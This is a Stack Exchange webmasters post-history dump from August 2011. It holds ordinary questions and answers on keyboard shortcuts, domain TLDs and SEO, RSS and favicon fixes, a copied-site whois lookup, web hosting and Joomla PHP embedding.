  <row Id="43735" PostHistoryTypeId="1" PostId="18062" RevisionGUID="b59746b9-04a7-4b2a-8032-61cb46eb01a8" CreationDate="2011-08-10T22:46:14.097" UserId="8519" Text="Are there any further steps that can be taken to improve the quality of AdWords traffic?" />
  <row Id="43736" PostHistoryTypeId="3" PostId="18062" RevisionGUID="b59746b9-04a7-4b2a-8032-61cb46eb01a8" CreationDate="2011-08-10T22:46:14.097" UserId="8519" Text="&lt;google-adwords&gt;" />
  <row Id="43737" PostHistoryTypeId="2" PostId="18063" RevisionGUID="15ba970d-ed87-45ab-8620-7aed3f514cc1" CreationDate="2011-08-11T07:14:16.860" UserId="7575" Text="As .info domain price increased, how much google value .info domain now? Also .in domain is now cost less then .info (for first year). &#xD;&#xA;&#xD;&#xA;Is google going to less value .in domain now? I have couple of .in domain and now i am really scared about that!" />
  <row Id="43738" PostHistoryTypeId="1" PostId="18063" RevisionGUID="15ba970d-ed87-45ab-8620-7aed3f514cc1" CreationDate="2011-08-11T07:14:16.860" UserId="7575" Text="How google value .in/.info domains currently?" />
  <row Id="43739" PostHistoryTypeId="3" PostId="18063" RevisionGUID="15ba970d-ed87-45ab-8620-7aed3f514cc1" CreationDate="2011-08-11T07:14:16.860" UserId="7575" Text="&lt;seo&gt;&lt;google&gt;&lt;domains&gt;" />
  <row Id="43740" PostHistoryTypeId="10" PostId="15811" RevisionGUID="fa4cdc34-44fb-4c63-b88d-5e9f75c1f504" CreationDate="2011-08-11T07:18:40.753" UserId="1064" CloseReasonId="2" Text="[{&quot;Id&quot;:1064,&quot;DisplayName&quot;:&quot;danlefree&quot;}]" />
  <row Id="43741" PostHistoryTypeId="10" PostId="10489" RevisionGUID="b9232243-af2f-4cc2-a080-c75c298e1a99" CreationDate="2011-08-11T07:35:12.217" UserId="1064" CloseReasonId="7" Text="[{&quot;Id&quot;:1064,&quot;DisplayName&quot;:&quot;danlefree&quot;}]" />
  <row Id="43742" PostHistoryTypeId="2" PostId="18064" RevisionGUID="e654e4a4-6e25-4610-956e-8cca473f6a87" CreationDate="2011-08-11T07:42:35.093" UserId="601" Text="Two examples probably isn't enough to call it &quot;established practice&quot;, but it's two big examples at least: Both Google and Twitter use none. Or, if you want to see it this way, their modifier key for navigation is &lt;kbd&gt;G&lt;/kbd&gt;.&#xD;&#xA;&#xD;&#xA;To go to your Twitter &quot;favorites&quot; page, you hit &lt;kbd&gt;G&lt;/kbd&gt;, then &lt;kbd&gt;F&lt;/kbd&gt;. To go to your gmail drafts folder, hit &lt;kbd&gt;G&lt;/kbd&gt; then &lt;kbd&gt;D&lt;/kbd&gt;.&#xD;&#xA;&#xD;&#xA;Non-navigation shortcuts also use simple letters; e.g. &lt;kbd&gt;J&lt;/kbd&gt; for moving forward in a list (tweets, emails, etc.), &lt;kbd&gt;K&lt;/kbd&gt; for moving backwards.*&#xD;&#xA;&#xD;&#xA;&lt;sup&gt;* In my book, this is absolutely wrong. To me, &quot;J&quot; being to the left of &quot;K&quot; means &quot;J&quot; should be &quot;previous&quot; and &quot;K&quot; should be &quot;next&quot;. However, doing it the other ways around seems to be the standard.&lt;/sup&gt;&#xD;&#xA;&#xD;&#xA;Neither of the two use a &quot;real&quot; modifier key at all. We're also starting to look at keyboard shortcuts for the Stack Exchange sites, and we're likely to do the same thing. Two more reasons I see for not using a modifier key at all:&#xD;&#xA;&#xD;&#xA;* Less likely to trip over something that's already use. Any combination of Ctrl, Alt, Meta, Command, Shift with a letter is probably already taken by some operating system, window manager, browser, browser plugin, or Greasemonkey script. Letter-only? Not so much.&#xD;&#xA;* Easier to use. &quot;Press Ctrl-Alt-Q to open the Foo tab, then Meta-Shift-F12 for execute the bar action&quot; &amp;ndash; that doesn't make my life easier/faster, which is whole purpose of keyboard shortcuts.&#xD;&#xA;&#xD;&#xA;On the other hand, here are two caveats to consider:&#xD;&#xA;&#xD;&#xA;* You'll obviously have to ignore the keystrokes when they happen while the user is typing in a text box. This isn't a technical problem, but it means that the user can't use the shortcuts then.&#xD;&#xA;&#xD;&#xA; If, say, your page auto-focuses the search box, or your web app is very text entry heavy, this may pose an issue.&#xD;&#xA;&#xD;&#xA;* You may want to think about enabling/disabling. Keyboard shortcuts are a power user feature; a &quot;normal&quot; user may be surprised when they accidentally trigger a keyboard shortcut (obviously a modifier key would make this less likely).&#xD;&#xA;&#xD;&#xA; Gmail for example has keyboard shortcuts turned off by default, with the exception of &lt;kbd&gt;?&lt;/kbd&gt; which (naturally) shows the keyboard shortcut help &amp;ndash; *including a link to enable/disable* shortcuts. I think keyboard shortcuts are an area where you can say it's okay to make it a setting (user preferences is something we generally try to avoid on the Stack Exchange sites), and Google's solution for this seems nice for this.&#xD;&#xA;&#xD;&#xA; But &quot;off by default&quot; obviously does hide discoverability, which may or may not be an issue.&#xD;&#xA;&#xD;&#xA;&amp;ndash; but all things considered, &quot;no modifier key&quot; at all seems like a good solution to me." />
  <row Id="43743" PostHistoryTypeId="2" PostId="18065" RevisionGUID="230ea4f5-bd32-4be4-ab8d-2c32fc6f3fed" CreationDate="2011-08-11T07:58:52.000" UserId="4502" Text="The *cost* of registering a domain name under a given TLD has nothing to do with how Google–or any search engine–would rank it for search results. &#xD;&#xA;&#xD;&#xA;What registrar would this even be based on? Right now, NetSol registers .info at $34.99, but GoDaddy is offering them at $1.99(down from a normal $11.99). The difference in their pricing for .in is about the same. Other registrars don't offer .info at all, and I don't think any one registrar handles *all* the TLDs, so there wouldn't be a central source." />
  <row Id="43744" PostHistoryTypeId="2" PostId="18066" RevisionGUID="e441a461-d924-4259-9020-62961f19bd93" CreationDate="2011-08-11T08:02:54.413" UserId="7198" Text="###There's no 'best' or universal key modifier choice&#xD;&#xA;Your best options are to:&#xD;&#xA;&#xD;&#xA;1. Use no modifier key (single keypresses only), then stop detecting keypresses when the user's cursor is in an input field or textarea, like Google does with [Gmail shortcuts.](http://mail.google.com/support/bin/answer.py?hl=en-GB&amp;ctx=mail&amp;answer=6594)&#xD;&#xA;&#xD;&#xA; -- or --&#xD;&#xA;    &#xD;&#xA;2. Pick a default that suits the majority of your visitors based on the operating system statistics from your Analytics data. Allow power users who want shortcuts to activate them and override the modifier key in their user settings, in the same way that desktop software does.&#xD;&#xA;&#xD;&#xA; -- or --&#xD;&#xA;&#xD;&#xA;3. Use a 'trigger' key instead of a modifier key. Consider &lt;kbd&gt;,&lt;/kbd&gt;&lt;kbd&gt;2&lt;/kbd&gt; to go to the second tab in your tabbed navigation area and &lt;kbd&gt;,&lt;/kbd&gt;&lt;kbd&gt;3&lt;/kbd&gt; to go to the third one, for example. The combination of a comma followed immediately by a number is unusual enough to reduce the likelihood of conflicts or accidental presses.&#xD;&#xA;&#xD;&#xA;In all cases, you might **consider disabling shortcut keys by default** to prevent unexpected behaviour for the majority of users who probably don't care about shortcut keys.&#xD;&#xA;&#xD;&#xA;###Why not just pick a modifier combo?&#xD;&#xA;The reason I suggest these methods is that there's no standardised cross-platform modifier key that you can consider safe to use with JavaScript in a browser environment. Anything containing &lt;kbd&gt;Ctrl&lt;/kbd&gt;, &lt;kbd&gt;Shift&lt;/kbd&gt;, &lt;kbd&gt;Alt&lt;/kbd&gt;, or &lt;kbd&gt;Cmd&lt;/kbd&gt; will likely break some browser shortcuts on certain platforms.&#xD;&#xA;&#xD;&#xA;Your suggestion to use &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Shift&lt;/kbd&gt;, for example, will break Firefox shortcuts on Windows, many of which use that combination to perform [special functions](http://www.firefoxfacts.com/2008/07/29/ctrl-shift-your-way-through-firefox/), such as &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;D&lt;/kbd&gt;, which bookmarks all open tabs. &#xD;&#xA;&#xD;&#xA;Browser manufacturers use different shortcuts to trigger accesskeys on each different platform precisely because there's no cross-platform standard. Apple uses &lt;kbd&gt;Ctrl&lt;/kbd&gt; on the Mac and &lt;kbd&gt;Alt&lt;/kbd&gt; on Windows in Safari, for example.&#xD;&#xA;&#xD;&#xA;What's more, each browser resolves shortcut conflicts differently, and this will lead to unexpected consequences for your users. When you bind a keypress to a function in JavaScript that also has a binding as a native browser shortcut...&#xD;&#xA;&#xD;&#xA; - Firefox will run the JavaScript shortcut on its own if you `return false;` but will execute your JavaScript function followed by the Firefox browser shortcut if you `return true;` (i.e. it runs both by default.)&#xD;&#xA; - IE will run the JavaScript function followed by the IE browser shortcut.&#xD;&#xA; - Safari/Chrome/Opera will process the browser shortcut but not the JavaScript one.&#xD;&#xA;&#xD;&#xA;[Source: the addendum at the foot of John Resig's [jquery.hotkeys readme page](https://github.com/jeresig/jquery.hotkeys).]&#xD;&#xA;" />
  <row Id="43745" PostHistoryTypeId="6" PostId="18063" RevisionGUID="8a409aa9-4243-44ad-b375-192e817703be" CreationDate="2011-08-11T08:03:39.840" UserId="4502" Comment="Tagging" Text="&lt;seo&gt;&lt;google&gt;&lt;domains&gt;&lt;top-level-domains&gt;&lt;tld&gt;" />
  <row Id="43746" PostHistoryTypeId="5" PostId="18065" RevisionGUID="7cb73ea0-4083-42c7-8177-8bf7524c93d3" CreationDate="2011-08-11T08:19:24.353" UserId="4502" Comment="added 231 characters in body" Text="The *cost* of registering a domain name under a given TLD has nothing to do with how Google–or any search engine–would rank it for search results. &#xD;&#xA;&#xD;&#xA;What registrar would this even be based on? Right now, NetSol registers .info at $34.99, but GoDaddy is offering them at $1.99(down from a normal $11.99). The difference in their pricing for .in is about the same. Other registrars don't offer .info at all, and I don't think any one registrar handles *all* the TLDs, so there wouldn't be a central source.&#xD;&#xA;&#xD;&#xA;As a sideline, you might also be interested in the answers to &lt;a href=&quot;http://webmasters.stackexchange.com/questions/2330/does-google-penalize-me-or-tv-sites&quot;&gt;this previous question&lt;/a&gt; about Google penalizing some TLDs. (They don't.)" />
  <row Id="43747" PostHistoryTypeId="2" PostId="18067" RevisionGUID="50825f72-953f-437f-8aad-ff3349df428b" CreationDate="2011-08-11T08:26:59.187" UserId="7198" Text="Your feed is possibly missing the `&lt;title&gt;` tag. View the source for your feed page and search for the text &quot;`&lt;title&gt;`&quot; to confirm this. The tag will likely be missing or empty.&#xD;&#xA;&#xD;&#xA;To help resolve it, you'd need to share what's generating the RSS feed, be it CMS software (which?) or a custom script.&#xD;&#xA;&#xD;&#xA;If Google Reader can't find a title, the chances are high that other feed readers can't either.&#xD;&#xA;" />
  <row Id="43748" PostHistoryTypeId="25" PostId="16851" RevisionGUID="fa694f49-d117-4cbe-b638-531d6de8e729" CreationDate="2011-08-11T08:34:17.373" Comment="http://twitter.com/#!/StackWebmasters/status/101572130629627904" />
  <row Id="43749" PostHistoryTypeId="5" PostId="18053" RevisionGUID="67083d8c-6b80-4252-b0a0-922e22648935" CreationDate="2011-08-11T08:37:07.257" UserId="9500" Comment="added 139 characters in body" Text="Assuming that Safari on Mac is showing favicons for other websites (try any stackexchange website), you probably need to [clear the browser cache][1].&#xD;&#xA;&#xD;&#xA;Also, try adding a random number (using JS or Server-script like PHP) to your favicon reference, like below:&#xD;&#xA;&#xD;&#xA;**EDIT-** Also, add type attribute and try again? (see below)&#xD;&#xA;&#xD;&#xA;    &lt;!-- FAVICON --&gt;&#xD;&#xA;    		&lt;link &#xD;&#xA;    		rel = &quot;shortcut icon&quot; &#xD;&#xA;    		type = &quot;image/x-icon&quot; &#xD;&#xA;    		href = &quot;http://www.dixitsolutions.com/favicon.ico?23189123&quot; /&gt;&#xD;&#xA;&#xD;&#xA;  [1]: http://hints.macworld.com/article.php?story=20030216085845456&#xD;&#xA;&#xD;&#xA;" />
  <row Id="43750" PostHistoryTypeId="17" PostId="18068" RevisionGUID="59ffab66-1d39-4dcf-bcd9-0ce045544934" CreationDate="2011-08-11T08:54:25.543" UserId="-1" Comment="from http://stackoverflow.com/questions/7023144/weve-had-our-content-copied-under-a-different-url-why-and-what-do-we-do" Text="" />
  <row Id="43751" PostHistoryTypeId="17" PostId="18069" RevisionGUID="20d732af-356c-43ae-bcc6-2242624e30b8" CreationDate="2011-08-11T08:54:25.543" UserId="-1" Comment="from http://stackoverflow.com/questions/7023144/weve-had-our-content-copied-under-a-different-url-why-and-what-do-we-do" Text="" />
  <row Id="43752" PostHistoryTypeId="2" PostId="18069" RevisionGUID="c1b94320-48aa-483c-a19f-9c3a0c0d47cf" CreationDate="2011-08-11T08:52:41.760" UserDisplayName="paxdiablo" Text="Punch `target-is.com` into a [`whois` search][1] and see who controls it:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;Connected to whois.enom.com&#xD;&#xA;This domain has already been registered.&#xD;&#xA;Displaying domain information provided by  ENOM, INC.&#xD;&#xA;&#xD;&#xA;=-=-=-=&#xD;&#xA; Visit AboutUs.org for more information about target-is.com&#xD;&#xA; &lt;a href=&quot;http://www.aboutus.org/target-is.com&quot;&gt;AboutUs: target-is.com&lt;/a&gt;&#xD;&#xA; &#xD;&#xA; Registration Service Provided By: Namecheap.com&#xD;&#xA; Contact: support@namecheap.com&#xD;&#xA; Visit: http://namecheap.com&#xD;&#xA; 	&#xD;&#xA; Domain name: target-is.com&#xD;&#xA; &#xD;&#xA; Registrant Contact:&#xD;&#xA;    WhoisGuard&#xD;&#xA;    WhoisGuard Protected ()&#xD;&#xA;    &#xD;&#xA;    Fax: &#xD;&#xA;    11400 W. Olympic Blvd. Suite 200&#xD;&#xA;    Los Angeles, CA 90064&#xD;&#xA;    US&#xD;&#xA; &#xD;&#xA; Administrative Contact:&#xD;&#xA;    WhoisGuard&#xD;&#xA;    WhoisGuard Protected (3420f536e0844f39a260eccc329e0cb8.protect@whoisguard.com)&#xD;&#xA;    +1.6613102107&#xD;&#xA;    Fax: +1.6613102107&#xD;&#xA;    11400 W. Olympic Blvd. Suite 200&#xD;&#xA;    Los Angeles, CA 90064&#xD;&#xA;    US&#xD;&#xA; &#xD;&#xA; Technical Contact:&#xD;&#xA;    WhoisGuard&#xD;&#xA;    WhoisGuard Protected (3420f536e0844f39a260eccc329e0cb8.protect@whoisguard.com)&#xD;&#xA;    +1.6613102107&#xD;&#xA;    Fax: +1.6613102107&#xD;&#xA;    11400 W. Olympic Blvd. Suite 200&#xD;&#xA;    Los Angeles, CA 90064&#xD;&#xA;    US&#xD;&#xA; &#xD;&#xA; Status: Locked&#xD;&#xA; &#xD;&#xA; Name Servers:&#xD;&#xA;    dns1.registrar-servers.com&#xD;&#xA;    dns2.registrar-servers.com&#xD;&#xA;    dns3.registrar-servers.com&#xD;&#xA;    dns4.registrar-servers.com&#xD;&#xA;    dns5.registrar-servers.com&#xD;&#xA;    &#xD;&#xA; Creation date: 09 Aug 2011 21:51:00&#xD;&#xA; Expiration date: 09 Aug 2012 13:51:00&#xD;&#xA; &#xD;&#xA; &#xD;&#xA;    &#xD;&#xA; Get Noticed on the Internet!  Increase visibility for this domain name by listing it at www.whoisbusinesslistings.com&#xD;&#xA; =-=-=-=&#xD;&#xA; The data in this whois database is provided to you for information&#xD;&#xA; purposes only, that is, to assist you in obtaining information about or&#xD;&#xA; related to a domain name registration record. We make this information&#xD;&#xA; available &quot;as is,&quot; and do not guarantee its accuracy. By submitting a&#xD;&#xA; whois query, you agree that you will use this data only for lawful&#xD;&#xA; purposes and that, under no circumstances will you use this data to: (1)&#xD;&#xA; enable high volume, automated, electronic processes that stress or load&#xD;&#xA; this whois database system providing you this information; or (2) allow,&#xD;&#xA; enable, or otherwise support the transmission of mass unsolicited,&#xD;&#xA; commercial advertising or solicitations via direct mail, electronic&#xD;&#xA; mail, or by telephone. The compilation, repackaging, dissemination or&#xD;&#xA; other use of this data is expressly prohibited without prior written&#xD;&#xA; consent from us.  &#xD;&#xA; &#xD;&#xA; We reserve the right to modify these terms at any time. By submitting &#xD;&#xA; this query, you agree to abide by these terms.&#xD;&#xA; Version 6.3 4/3/2002&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Then contact them and/or their registrar and ask what's going on.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.targetdomain.com/cgi-bin/whois.cgi" />
  <row Id="43753" PostHistoryTypeId="2" PostId="18068" RevisionGUID="4beb070e-8daf-4c75-b581-c2ad8dd155fb" CreationDate="2011-08-11T08:46:52.067" UserId="9528" UserDisplayName="Shaun" Text="We have a problem. We've noticed a large amount of traffic showing up on our Google Analytics. Upon further investigation we have found that we've had our content copied under a different URL.&#xD;&#xA;&#xD;&#xA;Our site: http://www.targetis.co.uk&#xD;&#xA;The coppied site: http://www.target-is.com (isn't showing up with Chrome for us)&#xD;&#xA;&#xD;&#xA;We don't own this domain. Their content is hosted with them (not via proxy). The large part of the traffic is coming from video hosting site.&#xD;&#xA;&#xD;&#xA;What do we do?" />
  <row Id="43754" PostHistoryTypeId="1" PostId="18068" RevisionGUID="4beb070e-8daf-4c75-b581-c2ad8dd155fb" CreationDate="2011-08-11T08:46:52.067" UserId="9528" UserDisplayName="Shaun" Text="We've had our content copied under a different URL - why and what do we do?" />
  <row Id="43755" PostHistoryTypeId="3" PostId="18068" RevisionGUID="4beb070e-8daf-4c75-b581-c2ad8dd155fb" CreationDate="2011-08-11T08:46:52.067" UserId="9528" UserDisplayName="Shaun" Text="&lt;domains&gt;&lt;web-hosting&gt;&lt;copyright&gt;&lt;spam&gt;" />
  <row Id="43756" PostHistoryTypeId="2" PostId="18070" RevisionGUID="5ce23fb3-75fc-45ba-853a-770bd57a46a4" CreationDate="2011-08-11T09:21:23.567" UserId="233" Text="Would have been helpful to post your feed link... Anyway RSS feeds need a `&lt;title&gt;` tag. Here is the basic format the feed should be in:&#xD;&#xA;&#xD;&#xA;    &lt;rss version=&quot;2.0&quot;&gt;&#xD;&#xA;      &lt;channel&gt;&#xD;&#xA;        &lt;title&gt;Your Title&lt;/title&gt;&#xD;&#xA;        &lt;link&gt;http://example.com&lt;/link&gt;&#xD;&#xA;        &lt;description&gt;Example&lt;/description&gt;&#xD;&#xA;&#xD;&#xA;        &lt;item&gt;&#xD;&#xA;          &lt;!-- item details --&gt;&#xD;&#xA;        &lt;/item&gt;&#xD;&#xA;        &lt;!-- many more items --&gt;&#xD;&#xA;&#xD;&#xA;      &lt;/channel&gt;&#xD;&#xA;    &lt;/rss&gt;" />
  <row Id="43757" PostHistoryTypeId="2" PostId="18071" RevisionGUID="347314d1-51f2-4df3-87bc-4667f872562d" CreationDate="2011-08-11T10:13:52.790" UserId="8257" Text="I'm using [Eco Web Hosting][1]. I've not had any problems at all running Concrete5 on their servers. The only major problem I've found is there web interace for account management is pretty horrific, but once you are set up there are no problems. It's UK based and aims to be Carbon Neutral. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.ecowebhosting.co.uk/" />
  <row Id="43758" PostHistoryTypeId="5" PostId="18064" RevisionGUID="4a285194-ce82-41b4-b5bf-45ac2df7b1c3" CreationDate="2011-08-11T10:31:01.483" UserId="601" Comment="added 3 characters in body" Text="Two examples probably isn't enough to call it &quot;established practice&quot;, but it's two big examples at least: Both Google and Twitter use none. Or, if you want to see it this way, their modifier key for navigation is &lt;kbd&gt;G&lt;/kbd&gt;.&#xD;&#xA;&#xD;&#xA;To go to your Twitter &quot;favorites&quot; page, you hit &lt;kbd&gt;G&lt;/kbd&gt;, then &lt;kbd&gt;F&lt;/kbd&gt;. To go to your gmail drafts folder, hit &lt;kbd&gt;G&lt;/kbd&gt; then &lt;kbd&gt;D&lt;/kbd&gt;.&#xD;&#xA;&#xD;&#xA;Non-navigation shortcuts also use simple letters; e.g. &lt;kbd&gt;J&lt;/kbd&gt; for moving forward in a list (tweets, emails, etc.), &lt;kbd&gt;K&lt;/kbd&gt; for moving backwards.*&#xD;&#xA;&#xD;&#xA;&lt;sup&gt;* In my book, this is absolutely wrong. To me, &quot;J&quot; being to the left of &quot;K&quot; means &quot;J&quot; should be &quot;previous&quot; and &quot;K&quot; should be &quot;next&quot;. However, doing it the other ways around seems to be the standard.&lt;/sup&gt;&#xD;&#xA;&#xD;&#xA;Neither of the two use a &quot;real&quot; modifier key at all. We're also starting to look at keyboard shortcuts for the Stack Exchange sites, and we're likely to do the same thing. Two more reasons I see for not using a modifier key at all:&#xD;&#xA;&#xD;&#xA;* Less likely to trip over something that's already in use. Any combination of Ctrl, Alt, Meta, Command, Shift with a letter is probably already taken by some operating system, window manager, browser, browser plugin, or Greasemonkey script. Letter-only? Not so much.&#xD;&#xA;* Easier to use. &quot;Press Ctrl-Alt-Q to open the Foo tab, then Meta-Shift-F12 for execute the Bar action&quot; &amp;ndash; that doesn't make my life easier/faster, which is whole purpose of keyboard shortcuts.&#xD;&#xA;&#xD;&#xA;On the other hand, here are two caveats to consider:&#xD;&#xA;&#xD;&#xA;* You'll obviously have to ignore the keystrokes when they happen while the user is typing in a text box. This isn't a technical problem, but it means that the user can't use the shortcuts then.&#xD;&#xA;&#xD;&#xA; If, say, your page auto-focuses the search box, or your web app is very text entry heavy, this may pose an issue.&#xD;&#xA;&#xD;&#xA;* You may want to think about enabling/disabling. Keyboard shortcuts are a power user feature; a &quot;normal&quot; user may be surprised when they accidentally trigger a keyboard shortcut (obviously a modifier key would make this less likely).&#xD;&#xA;&#xD;&#xA; Gmail for example has keyboard shortcuts turned off by default, with the exception of &lt;kbd&gt;?&lt;/kbd&gt; which (naturally) shows the keyboard shortcut help &amp;ndash; *including a link to enable/disable* shortcuts. I think keyboard shortcuts are an area where you can say it's okay to make it a setting (user preferences is something we generally try to avoid on the Stack Exchange sites), and Google's solution for this seems nice for this.&#xD;&#xA;&#xD;&#xA; But &quot;off by default&quot; obviously does hide discoverability, which may or may not be an issue.&#xD;&#xA;&#xD;&#xA;&amp;ndash; but all things considered, &quot;no modifier key&quot; at all seems like a good solution to me." />
  <row Id="43759" PostHistoryTypeId="25" PostId="18068" RevisionGUID="fc958e0a-8929-4b88-93f4-864154bc91de" CreationDate="2011-08-11T10:34:17.920" Comment="http://twitter.com/#!/StackWebmasters/status/101602329886851072" />
  <row Id="43760" PostHistoryTypeId="2" PostId="18072" RevisionGUID="8f7d82b6-d74e-4c43-889c-6a7b4f9e33e5" CreationDate="2011-08-11T10:55:20.703" UserId="7198" Text="[Archive.org](http://www.archive.org/) holds the most complete archive of historical Web content. Their [Wayback Machine](http://wayback.archive.org/web/) search tool provides access to around 2,000 terabytes of compressed archived content, and the archive grows at around [20 terabytes a month](http://www.archive.org/about/faqs.php#9).&#xD;&#xA;&#xD;&#xA;Sadly, this means that if you can't find an old defunct site on there, there's a good chance you won't be able to access it anywhere else. Before you give up:&#xD;&#xA;&#xD;&#xA; - Try the [Warrick web page recovery tool](http://warrick.cs.odu.edu/), which attempts to reconstruct pages by using combined caches from archive.org, Google, and Bing.&#xD;&#xA;&#xD;&#xA; - Try the [other web archive services listed on Netpreserve's archive list page,](http://www.netpreserve.org/about/archiveList.php) most of which focus on websites for one particular country.&#xD;&#xA;&#xD;&#xA; - If the page was ever featured on [Daring Fireball](http://daringfireball.net/) (search using the box at the foot of every page), try the http://fireballed.org/ mirror/archive service (a long-shot, but worth mentioning).&#xD;&#xA;&#xD;&#xA; - Consider searching for the content on a completely separate domain. If it was syndicated, quoted from, or just plain ripped, there's a chance the written content might still exist online somewhere. If you have a rough idea of the blog post titles (or the name of the author), search for them in quotes and see what you find.&#xD;&#xA;&#xD;&#xA; - Consider approaching the site owner for the old content if you can." />
  <row Id="43761" PostHistoryTypeId="2" PostId="18073" RevisionGUID="38320b8b-5eee-4544-ab0a-ef387e7c7214" CreationDate="2011-08-11T10:58:05.660" UserId="8599" Text="It looks to me like they're trying to steal your customers' login details - login attempts on the fake site are redirecting to the real site's login page.&#xD;&#xA;&#xD;&#xA;I suggest that you should change your own login page to warn of the risk, and then see what the other party does...&#xD;&#xA;&#xD;&#xA;BTW, you may also have some success complaining to ENOM (the registrar) rather than their reseller." />
  <row Id="43762" PostHistoryTypeId="2" PostId="18074" RevisionGUID="414ba900-5d7b-43d2-b9b0-59e2951d7bc0" CreationDate="2011-08-11T11:58:48.650" UserId="9530" Text="I am trying to contact the owner of a domain name regarding potential purchase of the name. The owner's listed contact doesn't work, I never got any replies from him/her. (In fact, the contacts are protected by DomainsByProxy.com, tried to contact them too, no luck in helping me with finding the owner.)&#xD;&#xA;&#xD;&#xA;So, does ICANN's Whois Data Accuracy policy mean the domain can be cancelled on the grounds of owners not being reachable via WHOIS data?" />
  <row Id="43763" PostHistoryTypeId="1" PostId="18074" RevisionGUID="414ba900-5d7b-43d2-b9b0-59e2951d7bc0" CreationDate="2011-08-11T11:58:48.650" UserId="9530" Text="WHOIS data accuracy policy: can the domain be cancelled?" />
  <row Id="43764" PostHistoryTypeId="3" PostId="18074" RevisionGUID="414ba900-5d7b-43d2-b9b0-59e2951d7bc0" CreationDate="2011-08-11T11:58:48.650" UserId="9530" Text="&lt;domain-names&gt;&lt;whois&gt;" />
  <row Id="43765" PostHistoryTypeId="2" PostId="18075" RevisionGUID="925a64b5-9e57-4955-a988-217a329c7907" CreationDate="2011-08-11T12:14:59.127" UserId="1643" Text="Yes it does appear so:&#xD;&#xA;https://support.logicboxes.com/kb/servlet/KBServlet/faq658.html&#xD;&#xA;http://www.icann.org/en/announcements/advisory-10may02.htm&#xD;&#xA;&#xD;&#xA;However just because someone doesn't reply doesn't mean that the contact information is wrong. &#xD;&#xA;" />
  <row Id="43766" PostHistoryTypeId="25" PostId="18063" RevisionGUID="0dabc00e-18d7-4754-b3a6-f3d1636dcd8e" CreationDate="2011-08-11T12:34:18.067" Comment="http://twitter.com/#!/StackWebmasters/status/101632530238803968" />
  <row Id="43767" PostHistoryTypeId="2" PostId="18076" RevisionGUID="eeead43c-2207-40e3-9b42-bbb24f56fb3f" CreationDate="2011-08-11T12:56:25.340" UserId="5464" Text="I would say in many ways Stack Exchange could be viewed as a &quot;social network&quot;. It has many of the features social networks have in that you create a profile, build up reputation, gain badges, chat, sharing to other networks etc. &#xD;&#xA;&#xD;&#xA;This could be viewed as similar to the profiles and features you can create on Google+, Facebook, LinkedIn. Stack Exchange also allows you to join niche networks such as Pro Webmasters which are targeted at particular interests. &#xD;&#xA;" />
  <row Id="43768" PostHistoryTypeId="2" PostId="18077" RevisionGUID="8fb60da3-536d-4f0d-b887-3359066a23db" CreationDate="2011-08-11T12:57:20.850" UserId="1429" Text="You could give a try to http://www.ezpzhosting.co.uk/&#xD;&#xA;&#xD;&#xA;or http://www.eukhost.com/&#xD;&#xA;&#xD;&#xA;**But you better always check 1st on WebHsotingTalk** searching the Main Webhosting Forum for keywords containing the hoster name like:&#xD;&#xA;&#xD;&#xA;[&quot;ezpz review&quot;][1],&#xD;&#xA;&#xD;&#xA;[&quot;eukhost&quot;][2] &#xD;&#xA;&#xD;&#xA;and always ask technical pre-sales questions to get at least a feeling of their know how.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.webhostingtalk.com/search.php?searchid=34443604&#xD;&#xA;  [2]: http://www.webhostingtalk.com/search.php?searchid=34443680" />
  <row Id="43769" PostHistoryTypeId="6" PostId="17350" RevisionGUID="4f7e1ba9-e3e3-4bcf-abba-8ee97b418c9b" CreationDate="2011-08-11T13:24:55.010" UserId="8856" Comment="edited tags" Text="&lt;analytics&gt;" />
  <row Id="43770" PostHistoryTypeId="6" PostId="15515" RevisionGUID="0c1e1330-a364-4cb0-a77b-093c03ba4277" CreationDate="2011-08-11T13:27:52.760" UserId="8856" Comment="edited tags" Text="&lt;wysiwyg&gt;" />
  <row Id="43771" PostHistoryTypeId="2" PostId="18078" RevisionGUID="591fc897-94d0-4224-9db7-49433f90d609" CreationDate="2011-08-11T13:39:18.377" UserId="9124" Text="The WebmasterWorld forums are great. As a forum it's sort of a proto-social network, and the quality of content there is genuinely superb. Some of the web's greatest minds assemble there." />
  <row Id="43772" PostHistoryTypeId="2" PostId="18079" RevisionGUID="64a0501c-7f75-4d64-ade9-1ac0c85bc25a" CreationDate="2011-08-11T13:49:12.077" UserId="8896" Text="**Preface:**&#xD;&#xA;&#xD;&#xA;I recently inherited a website project that my employer had summer interns create. Being non-technical types, they opted for Joomla CMS to create the content. They also opted to make all of the current content static, and to manage updates manually, article by article (these were high school interns with little/no technical background).&#xD;&#xA;&#xD;&#xA;As part of my takeover, one of my first goals is to get all of the volatile data (company information, event information, etc) into MySQL, and then load the content into the articles dynamically. To my knowledge, the easiest way to do this is to use PHP to embed SQL queries (if I'm wrong about that, feel free to suggest alternate dynamic content models in Joomla!), and so the logical first step is to get some PHP embedded in an article.&#xD;&#xA;&#xD;&#xA;**Problem:**&#xD;&#xA;&#xD;&#xA;I have tried using the [Sourcerer][1] and [DirectPHP][2] extensions, but in both cases (and with manually inserted PHP code), I find that the PHP is getting ignored. For example, I made an article with nothing but this:&#xD;&#xA;&#xD;&#xA;    &lt;?php&#xD;&#xA;      echo &quot;This is a PHP string&quot;;&#xD;&#xA;    ?&gt;&#xD;&#xA;&#xD;&#xA;And when I load the article, it is empty. I've scanned the settings and configuration pages of the Joomla install and done a number of Google searches, and thus far haven't been able to find anything. I bet I'm missing something pretty simple, but I don't know what. Any suggestions?&#xD;&#xA;&#xD;&#xA;  [1]: http://extensions.joomla.org/search?q=sourcerer&#xD;&#xA;  [2]: http://extensions.joomla.org/search?q=directphp" />
  <row Id="43773" PostHistoryTypeId="1" PostId="18079" RevisionGUID="64a0501c-7f75-4d64-ade9-1ac0c85bc25a" CreationDate="2011-08-11T13:49:12.077" UserId="8896" Text="Dynamic content in Joomla - Embedding PHP in Joomla articles" />
